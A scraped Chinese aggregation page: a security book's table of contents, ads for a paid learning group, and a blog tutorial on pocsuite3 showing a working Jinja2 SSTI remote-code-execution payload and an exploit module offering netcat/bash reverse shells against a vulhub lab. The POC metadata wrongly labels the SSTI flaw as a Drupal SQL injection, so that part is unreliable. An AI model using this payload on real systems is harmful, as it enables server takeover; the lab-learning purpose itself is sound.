    6.5 AES加密算法  

    6.5.1 AES加密原理

    6.5.2 Python实现AES加解密    

    6.6 MD5加密算法

    6.6.1 MD5加密原理    

    6.6.2 Python实现MD5加密 

    6.7小结  21

     

    第七章 暴力破解篇   

    7.1  社会工程学密码字典  

    7.1.1 社工字典的生成

    7.1.2 社工字典的防御

    7.2 后台弱口令爆破 

    7.2.1 后台弱口令爆破脚本  

    7.2.2 后台弱口令爆破的防御

    7.3 SSH暴力破解  

    7.3.1 SSH爆破脚本

    7.3.2 SSH爆破的防御 

    7.4 FTP暴力破解  

    7.4.1 FTP爆破脚本

    7.4.2 FTP爆破的防御  

    7.5 小结 

     

    第八章 模糊测试篇

    8.1 FUZZ模糊测试 

    8.2 FUZZ绕过安全狗  

    8.3 FUZZ绕过安全狗的优化 

    8.4 FUZZ结合WebShell    

    8.5 FUZZ工具介绍

     8.5.1 浏览器模糊测试工具BFuzz

    8.5.2 XSS模糊测试工具XSStrike

    8.5.3 Sulley模糊测试框架

    8.6 小结

     

    第九章 流量分析篇   

    9.1 流量嗅探   

    9.1.1 流量嗅探原理    

    9.1.2 流量嗅探工具编写  

    9.2 ARP毒化    

    9.2.1 ARP毒化原理

    9.2.2 ARP毒化工具的编写    

    9.2.3 ARP毒化防御

    9.3拒绝服务攻击 

    9.3.1 数据链路层拒绝服务攻击

    9.3.2 网络层拒绝服务攻击

    9.3.3 传输层拒绝服务攻击  

    9.3.4 应用层拒绝服务攻击  

    9.3.5 拒绝服务攻击防御 

    9.4 小结

    第十章 python免杀技术篇    

    10.1 shellcode执行与可执行文件生成    

    10.2 免杀处理  

    10.3 Cobalt Strike使用及拓展   

    10.4 小结    

    第十一章 远控工具篇

    11.1  远程控制工具简介    

    11.2  远程控制的基础模块

    11.3  被控端的编写 

    11.4  控制端的编写 

    11.5  远程控制工具的演示

    11.6  小结 

    扫描下方二维码加入星球学习

    加入后会邀请你进入内部微信群,内部微信群永久有效!

     

    目前30000+人已关注加入我们

    展开全文
  • 出品|MS08067实验室(www.ms08067.com)”Python安全知识星球”第一期“Python安全攻防”于2021年05月14日全部结束了,第一期共有390+人加入,...

    出品|MS08067实验室(www.ms08067.com)

        ”Python安全知识星球”第一期“Python安全攻防”于2021年05月14日全部结束了,第一期共有390+人加入,跟其它知识星球不一样,我们分享的视频都是原创的,以原创畅销书《Python安全攻防:渗透测试实战指南》为教程,辅以配套源码,工具及靶场,第一期共计58节视频课,互动评论问答268个,内部群技术交流上万条,所有教程视频和资料加起来共22.53G。

      

    各章节都会配备好视频对应的PPT,以及实验需要的工具和源码:




        在学习过程中针对所学技术点产生疑问可以在星球提问交流解答,也可以通过我们的微信群交流,有专门的管理员定期跟踪大家学习进度!

    我们在B站也会免费公开20节课内容,喜欢白嫖的可以去B站观看:

    https://space.bilibili.com/396298765

     

        为满足星球成员对于Python安全开发高级技术的进一步需求,2021年5月开始我们增加了新的高级课程【Python安全开发 2.0 计划】,这一版教程主要围绕Python安全开发及实操,希望能更好地维护好星球生态环境,持续的给大家带来帮助。

     

    【Python安全开发 2.0】主要面向有一定实战经验的中高级网络安全从业人员。课程架构以python语言作为主线,兼顾ruby、go、c++、nim等多种语言,同时以开源的c2框架viper和自研的信息收集框架meteor为例,系统梳理信息收集、初始接入、横向渗透、持久化等全流程渗透思路,尽可能实现网络攻击的自动化、标准化。

    通过这门课程,学员能够从开发的角度看待网络渗透的主脉络,利用数据发现更多攻击面,加深对各类攻击工具的理解,进而锤炼更强的内功修为,更好掌握在纷繁复杂网络安全领域的主动权。最后,课程还介绍了人工智能在网络攻击领域的一些工程实践,为学员提供了一种全新的视角

    第二期主讲导师介绍:

    jokelove:Ms08067安全实验室核心成员,现任某安全公司产品开发经理,主要在安全运维自动化、攻击行为发现、web漏洞集成扫描、大数据产品开发等方面有多年工作经验。

    xssle:Ms08067实验室核心成员,现任某上市公司安全工程师,主要在渗透测试,流量特征识别,工具开发,自动化检测等方面有多年工作经验。

    新的一期时间为:2021年5月18日 ~ 2022年5月18日

    现在加入星球的同学可以同时学习“Python安全攻防”+“Python安全开发 2.0 计划” 二套视频教程!

    (已经在星球里的成员可继续免费学习“Python安全开发 2.0 计划,无需额外费用)

     

    欢迎大家尽早加入,目前星球共计星友390+人,现在加入依然是365元,为维持星球质量,星友超过500人后,加价100元~

     

    30张开课福利,先到先得!

      

    关于星球续费:

         已经设置好8.2折续费价,可以直接续费,不追求利益最大化,只追求是不是志同道合。愿意续费的,大家是好朋友,我们会继续在星球里各种分享自己的经验技术;不续费的,大家也是好朋友,包括内网微信群也会为大家保留位置,绝对不踢除,而且也会保持友好的沟通。

        创立知识星球的目的本来就是分享和讨论技术,同好者聚在一起,内部商讨技术的氛围一直非常好,同好者一起强大。

     

    PS:目前星球365元/年,365/365=1,平均每天也就1元,但带来的成长是一年的。看看一些其他收徒以及培训机构动辄成千上万的费用,这个价格我认为非常便宜了。


    欢迎这几类人加入:

    1.  大学信安专业学生或信安领域职场新人

    2.  转型信安领域还处于迷茫期的朋友

    3.  想提升自己技术的朋友

    以下几类人千万不要加入:

    1.  不愿意学习的人不要加入

    2.  不愿意分享的人也不要加入

    3.  认为别人有帮忙是义务的也不要加入

     

     

    PS:广而告之

    1.同时购买多个星球享受最低至6.3折折扣(第1个原价,第2个8.8折,第3个8.3折,第4个7.8折,第5个7.3折,第6个6.8折,第7个6.3折)

    2.三人成团,一起购买可在享受第一条折扣基础上再合并打9折

    3.支持分期付款及花呗付费

    4.分享有礼,16%分享奖励,以当前价格计,您只需将我们推荐给6位付费新星友,您就完全赚回“门票”支出了

    扫描下方二维码加入星球学习

    加入后会邀请你进入内部微信群,内部微信群永久有效!

     

     

    目前40000+人已关注加入我们

    展开全文
  • 最近新买了一本关于Python的一本书《Python安全攻防渗透测试实战指南》,这本书出自MS08067安全实验室,才学到第三章,虽然书中有非常多的低级语法错误,但是总体来讲还是值得一学的。 Pocsuite框架: 这里书中有对...

    最近新买了一本关于Python的一本书《Python安全攻防渗透测试实战指南》,这本书出自MS08067安全实验室,才学到第三章,虽然书中有非常多的低级语法错误,但是总体来讲还是值得一学的。
    收回我上面说的话,这本书就是垃圾,各种语法错误,官方给的源码连最基本的功能都实现不了!!!!!

    Pocsuite框架:

    这里书中有对Pocsuite框架有基本的介绍,这里就不重复了,只需要知道这是一款基于漏洞与POC的远程漏洞验证框架即可。

    安装:

    通过git克隆代码仓库

    git clone https://github.com/knownsec/pocsuite3.git
    

    克隆完成后,仓库结构大概是这样的

    root@ubuntu:~# tree
    .
    └── pocsuite3
        ├── CHANGELOG.md
        ├── CONTRIBUTORS.md
        ├── COPYING
        ├── docs
        │   ├── CODING.md
        │   └── USAGE.md
        ├── make.bat
        ├── makefile
        ├── MANIFEST.in
        ├── pocsuite3
        │   ├── api
        │   │   └── __init__.py
        │   ├── cli.py
        │   ├── console.py
        │   ├── data
        │   │   ├── cacert.pem
        │   │   ├── password-top100.txt
        │   │   └── user-agents.txt
        │   ├── __init__.py
        │   ├── lib
        │   │   ├── controller
        │   │   │   ├── controller.py
        │   │   │   └── __init__.py
        │   │   ├── core
        │   │   │   ├── clear.py
        │   │   │   ├── common.py
        │   │   │   ├── convert.py
        │   │   │   ├── data.py
        │   │   │   ├── datatype.py
        │   │   │   ├── decorators.py
        │   │   │   ├── enums.py
        │   │   │   ├── exception.py
        │   │   │   ├── __init__.py
        │   │   │   ├── interpreter_option.py
        │   │   │   ├── interpreter.py
        │   │   │   ├── log.py
        │   │   │   ├── optiondict.py
        │   │   │   ├── option.py
        │   │   │   ├── plugin.py
        │   │   │   ├── poc.py
        │   │   │   ├── readlineng.py
        │   │   │   ├── register.py
        │   │   │   ├── revision.py
        │   │   │   ├── settings.py
        │   │   │   ├── shell.py
        │   │   │   ├── statistics_comparison.py
        │   │   │   ├── threads.py
        │   │   │   └── update.py
        │   │   ├── helper
        │   │   │   ├── archieve
        │   │   │   │   ├── __init__.py
        │   │   │   │   ├── jar.py
        │   │   │   │   ├── memoryzip.py
        │   │   │   │   ├── war.py
        │   │   │   │   └── zip.py
        │   │   │   ├── __init__.py
        │   │   │   └── java
        │   │   │       ├── __init__.py
        │   │   │       └── serialization.py
        │   │   ├── __init__.py
        │   │   ├── parse
        │   │   │   ├── cmd.py
        │   │   │   ├── configfile.py
        │   │   │   ├── __init__.py
        │   │   │   └── url.py
        │   │   ├── request
        │   │   │   ├── __init__.py
        │   │   │   └── patch
        │   │   │       ├── add_httpraw.py
        │   │   │       ├── hook_request.py
        │   │   │       ├── hook_request_redirect.py
        │   │   │       ├── __init__.py
        │   │   │       ├── remove_ssl_verify.py
        │   │   │       └── remove_warnings.py
        │   │   └── utils
        │   │       └── __init__.py
        │   ├── modules
        │   │   ├── censys
        │   │   │   └── __init__.py
        │   │   ├── ceye
        │   │   │   └── __init__.py
        │   │   ├── fofa
        │   │   │   └── __init__.py
        │   │   ├── httpserver
        │   │   │   └── __init__.py
        │   │   ├── __init__.py
        │   │   ├── listener
        │   │   │   ├── bind_tcp.py
        │   │   │   ├── __init__.py
        │   │   │   └── reverse_tcp.py
        │   │   ├── seebug
        │   │   │   └── __init__.py
        │   │   ├── shodan
        │   │   │   └── __init__.py
        │   │   ├── spider
        │   │   │   └── __init__.py
        │   │   └── zoomeye
        │   │       └── __init__.py
        │   ├── plugins
        │   │   ├── file_record.py
        │   │   ├── html_report.py
        │   │   ├── __init__.py
        │   │   ├── poc_from_pocs.py
        │   │   ├── poc_from_redis.py
        │   │   ├── poc_from_seebug.py
        │   │   ├── target_from_censys.py
        │   │   ├── target_from_cidr.py
        │   │   ├── target_from_fofa.py
        │   │   ├── target_from_redis.py
        │   │   ├── target_from_shodan.py
        │   │   └── target_from_zoomeye.py
        │   ├── pocs
        │   │   ├── 20190404_WEB_Confluence_path_traversal.py
        │   │   ├── drupalgeddon2.py
        │   │   ├── ecshop_rce.py
        │   │   ├── ftp_burst.py
        │   │   ├── __init__.py
        │   │   ├── libssh_auth_bypass.py
        │   │   ├── node_red_unauthorized_rce.py
        │   │   ├── redis_unauthorized_access.py
        │   │   ├── ssh_burst.py
        │   │   ├── telnet_burst.py
        │   │   ├── thinkphp_rce2.py
        │   │   ├── thinkphp_rce.py
        │   │   ├── wd_nas_login_bypass_rce.py
        │   │   └── weblogic_cve_2017_10271_unserialization.py
        │   ├── shellcodes
        │   │   ├── base.py
        │   │   ├── data
        │   │   │   ├── java
        │   │   │   │   ├── reverse_tcp
        │   │   │   │   │   └── Payload.class
        │   │   │   │   └── src
        │   │   │   │       └── ReverseTCP
        │   │   │   │           └── Payload.java
        │   │   │   ├── linux
        │   │   │   │   ├── bind_tcp.bin
        │   │   │   │   ├── reverse_tcp.bin
        │   │   │   │   ├── src
        │   │   │   │   │   ├── bind_tcp.asm
        │   │   │   │   │   └── reverse_tcp.asm
        │   │   │   │   └── x64
        │   │   │   │       ├── bind_tcp.bin
        │   │   │   │       ├── reverse_tcp.bin
        │   │   │   │       └── src
        │   │   │   │           ├── bind_tcp.asm
        │   │   │   │           └── reverse_tcp.asm
        │   │   │   └── windows
        │   │   │       ├── bind_tcp.bin
        │   │   │       ├── reverse_tcp.bin
        │   │   │       ├── src
        │   │   │       │   ├── bind_tcp.asm
        │   │   │       │   └── reverse_tcp.asm
        │   │   │       └── x64
        │   │   │           ├── bind_tcp.bin
        │   │   │           ├── reverse_tcp.bin
        │   │   │           └── src
        │   │   │               ├── bind_tcp.asm
        │   │   │               └── reverse_tcp.asm
        │   │   ├── dotnet.py
        │   │   ├── encoder.py
        │   │   ├── generator.py
        │   │   ├── __init__.py
        │   │   ├── java.py
        │   │   ├── php.py
        │   │   ├── python.py
        │   │   └── tools
        │   │       ├── ld64.exe
        │   │       ├── ld.exe
        │   │       ├── ld.gold.exe
        │   │       ├── libwinpthread-1.dll
        │   │       ├── nasm.exe
        │   │       └── objdump.exe
        │   └── thirdparty
        │       ├── ansistrm
        │       │   ├── ansistrm.py
        │       │   └── __init__.py
        │       ├── colorama
        │       │   ├── ansi.py
        │       │   ├── ansitowin32.py
        │       │   ├── initialise.py
        │       │   ├── __init__.py
        │       │   ├── win32.py
        │       │   └── winterm.py
        │       ├── ifcfg
        │       │   └── ifcfg
        │       │       ├── __init__.py
        │       │       ├── parser.py
        │       │       └── tools.py
        │       ├── markup
        │       │   ├── __init__.py
        │       │   └── markup.py
        │       ├── oset
        │       │   ├── __init__.py
        │       │   └── orderedset.py
        │       ├── prettytable
        │       │   ├── __init__.py
        │       │   └── prettytable.py
        │       ├── pysocks
        │       │   ├── __init__.py
        │       │   └── socks.py
        │       └── termcolor
        │           ├── __init__.py
        │           └── termcolor.py
        ├── pocsuite.ini
        ├── README.md
        ├── requirements.txt
        ├── setup.cfg
        ├── setup.py
        ├── test.py
        └── tests
            ├── __init__.py
            ├── login_demo.py
            ├── test_api_diy_options.py
            ├── test_api_get_poc_info.py
            ├── test_cmd_diy_options.py
            ├── test_configfile.py
            ├── test_generate_shellcode_list.py
            ├── test_httpserver.py
            ├── test_import_pocsuite_execute.py
            ├── test_osshell.py
            ├── test_request_raw.py
            ├── test_spier_crawl.py
            └── test_webshell.py
    
    53 directories, 172 files
    

    使用方法:

    查看帮助信息:

    root@ubuntu:~# cd pocsuite3/pocsuite3/
    root@ubuntu:~/pocsuite3/pocsuite3# pwd
    /root/pocsuite3/pocsuite3
    root@ubuntu:~/pocsuite3/pocsuite3# python3 cli.py --help
    Traceback (most recent call last):
      File "cli.py", line 12, in <module>
        from pocsuite3.lib.core.option import init
      File "/root/pocsuite3/pocsuite3/__init__.py", line 10, in <module>
        from .lib.core.common import set_paths
      File "/root/pocsuite3/pocsuite3/lib/core/common.py", line 19, in <module>
        import chardet
    ImportError: No module named 'chardet'
    

    当出现以上报错时安装chardet模块即可:

    pip3 install chardet
    

    具体使用方法书中已经解释的很清楚了,这里不过多的说了

    POC脚本编写

    在编写POC脚本之前,我们需要将靶机环境搭建起来。

    靶机环境要求

    Flask轻量级web应用框架:Python编写,BSD授权,WSGI工具箱采用Werkzeug,模板引擎采用Jinja2

    靶机环境搭建

    这里我们直接使用Docker搭建即可。

    // 安装必要的软件包
    sudo apt-get -y install apt-transport-https ca-certificates curl software-properties-common
    // 安装docker
    curl -sSL https://get.daocloud.io/docker | sh
    // 安装docker-compose
    curl -L https://get.daocloud.io/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose
    // 赋予执行权限
    chmod +x /usr/local/bin/docker-compose
    

    克隆靶机配置文件

    // 克隆仓库
    git clone https://github.com/vulhub/vulhub.git
    // 切换到指定目录中
    cd vulhub/flask/ssti
    

    因为默认源速度慢到怀疑人生,这里我们使用阿里云源进入/etc/docker/daemon.json(如没有就新建

    {
            "registry-mirrors": ["https://registry.docker-cn.com","https://nrbewqda.mirror.aliyuncs.com","https://dmmxhzvq.mirror.aliyuncs.com"]
    }   
    

    重启docker生效service docker restart

    启动漏洞环境:

    root@ubuntu:~# docker-compose build	// 编译下载漏洞环境所需的配置
    web uses an image, skipping
    root@ubuntu:~# docker-compose up -d // 启动漏洞环境
    Creating network "ssti_default" with the default driver
    Pulling web (vulhub/flask:1.1.1)...
    1.1.1: Pulling from vulhub/flask
    c7b7d16361e0: Pull complete
    b7a128769df1: Pull complete
    1128949d0793: Pull complete
    667692510b70: Pull complete
    bed4ecf88e6a: Pull complete
    94d1c1cbf347: Pull complete
    ac097723595b: Pull complete
    e7028784d190: Pull complete
    16fffdb8dec4: Pull complete
    20a91e71c5f1: Pull complete
    Digest: sha256:20d202d35fe99818878a3f844362210a21894bfab57b8acf23dfa3ade9a87026
    Status: Downloaded newer image for vulhub/flask:1.1.1
    Creating ssti_web_1 ... done
    

    使用以下命令可以看到已经运行起来了:

    root@slow:~/vulhub/flask/ssti# docker-compose ps
       Name                 Command               State           Ports         
    ----------------------------------------------------------------------------
    ssti_web_1   /bin/sh -c gunicorn -w 4 - ...   Up      0.0.0.0:8000->8000/tcp
    root@slow:~/vulhub/flask/ssti# docker ps
    CONTAINER ID        IMAGE                COMMAND                  CREATED             STATUS              PORTS                    NAMES
    cce021a95ecf        vulhub/flask:1.1.1   "/bin/sh -c 'gunicor…"   33 seconds ago      Up 31 seconds       0.0.0.0:8000->8000/tcp   ssti_web_1
    

    使用浏览器访问我们的网站

    在这里插入图片描述

    尝试提交参数

    在这里插入图片描述

    测试注入:

    在这里插入图片描述

    POC脚本的编写

    这里对于原著删除了没有使用到的代码,并且修改了一些语法错误

    # 调用pocsuite的一些API函数
    from pocsuite3.api import Output, register_poc, requests, POCBase
    
    # 继承POCBase类
    class DemoPOC(POCBase):
        vulID = '1571'          # ssvid ID, 如果是提交漏洞的同时提交PoC,则写出0
        version = "1"           # 版本
        author = "seebug"       # 作者名称
        vulDate = '2014-10-16'  # 漏洞公开时间
        createDate = '2014-10-16'   #编写POC时间
        updateDate = '2014-10-16'   # 更新POC时间
        references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']    #漏洞地址来源,0day不用写
        name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC'      # POC名称
        appPowerLink = 'https://www.drupal.org'         # 漏洞厂商的主页地址
        appName = 'Drupal'                              # 漏洞应用名称
        appVersion = '7.x'                              # 漏洞影响版本
        vulType = 'SQL Injection'                       # 漏洞类型
        desc = """
        Drupal 在处理IN语句时,展开数组时key带入SQL语句导致SQL注入,可以添加管理员,造成信息泄露
        """         # 漏洞简要描述
        samples = []        # 测试样例,使用POC测试成功的网站
        install_requires = []
    
        # 定义--verify参数,poc函数
        def _verify(self):
            '''verify mode'''
            result = {}
            path = "/?name="
            url = self.url + path
            payload = '{{22*22}}'
    
            # first req
            try:
                resq = requests.get(url + payload)
                print(resq.text)
                # 判断对象,服务器状态码,服务器页面回显是否正确
                if resq and resq.status_code == 200 and '484' in resq.text:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = url
                    result['VerifyInfo']['Name'] = payload
            except Exception as e:
                pass
            # 将服务器信息传入到该函数中
            return self.parse_output(result)
    
        def parse_output(self, result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail('target is not vulnerable.')
            # 返回成功或失败消息
            return output
        
        # 定义--attack参数,attack函数
        def _attack(self):
            return self._verify()
        
    # 注册poc
    register_poc(DemoPOC)
    

    上面这串代码比较简单,首先继承POCBase类并定义一些POC信息变量:

    _verify()函数:检测漏洞(POC)代码块,一般最后返回主机信息,或测试成功后的信息。

    _parse_output()函数:这里的作用是检测result变量是否有内容,若有则返回成功消息与输出result内容,没有则返回失败信息。

    _attack()函数:攻击实(EXP)战代码块,与POC不同的是对服务器进行目的性或破坏性的行动,这里不多做介绍,下面会用到。

    在这里插入图片描述

    EXP脚本编写:

    在编写代码之前,我们需要了解一些python内置变量调动的知识:

    • __bases__:以元组返回一个类所直接继承的类。

    • __mor__:以元组返回继承关系链。

    • __class__:返回对象所属的类。

    • __globals__:以字典返回函数所在模块命名空间中的所有变量。

    • __subclasses__():以列表的返回类的子类。

    • __builtins__:内建函数

    构建我们代码执行的脚本:

    for c in ().__class__.__base__[0].__subclass__():
    	if c.__name__=='_IterationGuard':
    		c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
    

    再将其语法格式转换为Jinja2:

    {% for c in [].__class__.__base__.__subclasses__() %}
     {% if c.__name__=='_IterationGuard'%}
      {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
     {% endif %}
    {% endfor %}
    

    再将其转换为URL编码:

    %7b%25+for+c+in+%5b%5d.__class__.__base__.__subclasses__()+%25%7d
    +%7b%25+if+c.__name__%3d%3d%27_IterationGuard%27%25%7d
    ++%7b%7b+c.__init__.__globals__%5b%27__builtins__%27%5d%5b%27eval%27%5d(%22__import__(%27os%27).popen(%27whoami%27).read()%22)+%7d%7d
    +%7b%25+endif+%25%7d
    %7b%25+endfor+%25%7d
    

    我们可以先尝试下是否能够成功:

    在这里插入图片描述

    下面就可以开始编写我们的代码了:

    from pocsuite3.api import Output, register_poc, requests, POCBase, REVERSE_PAYLOAD, OptDict
    from collections import OrderedDict
    
    
    class DemoPOC(POCBase):
        vulID = '1571'
        version = "1"
        author = "seebug"
        vulDate = '2014-10-16'
        createDate = '2014-10-16'
        updateDate = '2014-10-16'
        references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']
        name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC'
        appPowerLink = 'https://www.drupal.org'
        appName = 'Drupal'
        appVersion = '7.x'
        vulType = 'SQL Injection'
        desc = """
        Drupal 在处理IN语句时,展开数组时key带入SQL语句导致SQL注入,可以添加管理员,造成信息泄露
        """
        samples = []
        install_requires = []
    
        def _verify(self):
            """verify mode"""
            result = {}
            path = "/?name="
            url = self.url + path
            payload = "{{22*22}}"
            try:
                resq = requests.get(url + payload)
                if resq and resq.status_code == 200 and "484" in resq.text:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = url
                    result['VerifyInfo']['NAME'] = payload
            except Exception as e:
                pass
            return self.parse_output(result)
    	
        # 定义其他选项参数
        def _options(self):
            # 字典排序
            o = OrderedDict()
            payload = {
                "nc" : REVERSE_PAYLOAD.NC,
                "bash" : REVERSE_PAYLOAD.BASH,
            }
            # 设置默认值
            o["command"] = OptDict(selected="bash", default=payload)
            return o
    
    
        def _attack(self):
            '''attack mode'''
            result = {}
            path = "/?name="
            url = self.url + path
            # 接受参数
            cmd = self.get_option("command")
            payload = '''%7b%25+for+c+in+%5b%5d.__class__.__base__.__subclasses__()+%25%7d
    +%7b%25+if+c.__name__%3d%3d%27_IterationGuard%27%25%7d
    ++%7b%7b+c.__init__.__globals__%5b%27__builtins__%27%5d%5b%27eval%27%5d(%22__import__(%27os%27).popen(%27{0}%27).read()%22)+%7d%7d
    +%7b%25+endif+%25%7d
    %7b%25+endfor+%25%7d'''.format(cmd)
            try:
                resq = requests.get(url + payload)
                t = resq.text
                t = t.replace('\n', '').replace('\r', '')
                print(t)
                t = t.replace(' ', '')
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['NAME'] = t
            except Exception as e:
                pass
            return self.parse_output(result)
    
        def parse_output(self, result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail("target is not vulnerable")
            return output
    
    register_poc(DemoPOC)
    

    这里比较简单就不做其他的注释了。

    最后成功执行命令

    在这里插入图片描述

    展开全文
  • 如果你立志成为一名合格的安全从业者,想突破“脚本小子”的瓶颈,成为真正的黑客,想拥有自己打造出来的属于自己的神兵利器!《Python安全攻防:渗透测试实战指南》已经出版,配套星球现在可以...
  • Python安全攻防基础篇:闭包和解释器】 【Python安全攻防基础篇:包、模块、类、对象】 项目地址:https://github.com/knownsec/pocsuite3 曲线救国:https://gitee.com/c0ny10/pocsuite3 我就用我的曲线救国...
  • 如果你立志成为一名合格的安全从业者,想突破“脚本小子”的瓶颈,成为真正的黑客,想拥有自己打造出来的属于自己的神兵利器!《Python安全攻防:渗透测试实战指南》马上就要出版,配套知识星球...
  • 如果你立志成为一名合格的安全从业者,想突破“脚本小子”的瓶颈,成为真正的黑客,想拥有自己打造出来的属于自己的神兵利器!《Python安全攻防:渗透测试实战指南》马上就要出版,配套星球现在...
  • import requests proxy = '127.0.0.1:1080' proxies = { 'http':'http://' + proxy, 'https':'https://' + proxy } try: respone = requests.get('... print(respone.text) ...except Exception as e: print(e)
  • 对自己看python绝技的一次学习记录 socket套接字 与TCP端口进行交互,先建立TCP套接字 需要导入python的BCD套接字API模块socket socketAPI提供了一系列的函数将用来实现TCP端口扫描 函数名称 返回内容 ...
  • 该视频为《Python安全攻防:渗透测试实战指南》配套星球(全书视频讲解和技术解答)中一课!购买链接:http://product.dangdang.com/29131665.html主...
  • 领取成功您已领取成功!您可以进入Android/iOS/Kindle平台的多看阅读客户端,刷新个人中心的已购列表,即可下载图书,享受精品阅读时光啦!-|回复不要太快哦~回复内容不能为空哦回复已提交审核......
  • 如果你立志成为一名合格的安全从业者,想突破“脚本小子”的瓶颈,成为真正的黑客,想拥有自己打造出来的属于自己的神兵利器!《Python安全攻防:渗透测试实战指南》马上就要出版,配套星球现在...
  • #解密 from Cryptodome.Cipher import AES import binascii key = b'abcdefghabcdefgh' #key的长度须为8字节 encryptResult = b'51d23f9cab201da377c925ac526c4901' aes = AES.new(key,AES.MODE_ECB) ...
  • 文章目录pocsuite3使用方法Flask(Jinja2)服务端模板注入搭建POC、EXP代码构成编写验证POC编写利用EXP pocsuite3使用方法 verify验证: python pocsuite.py -r pocs/test.py...加载所有poc:python pocsuite.py -r po
  • a = 'sanss' print(type(love)) b = 520 print(type(a)) c = [1,2,3] print(type(b)) d = True print(type(c))

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 4,878
精华内容 1,951
关键字:

python安全攻防

python 订阅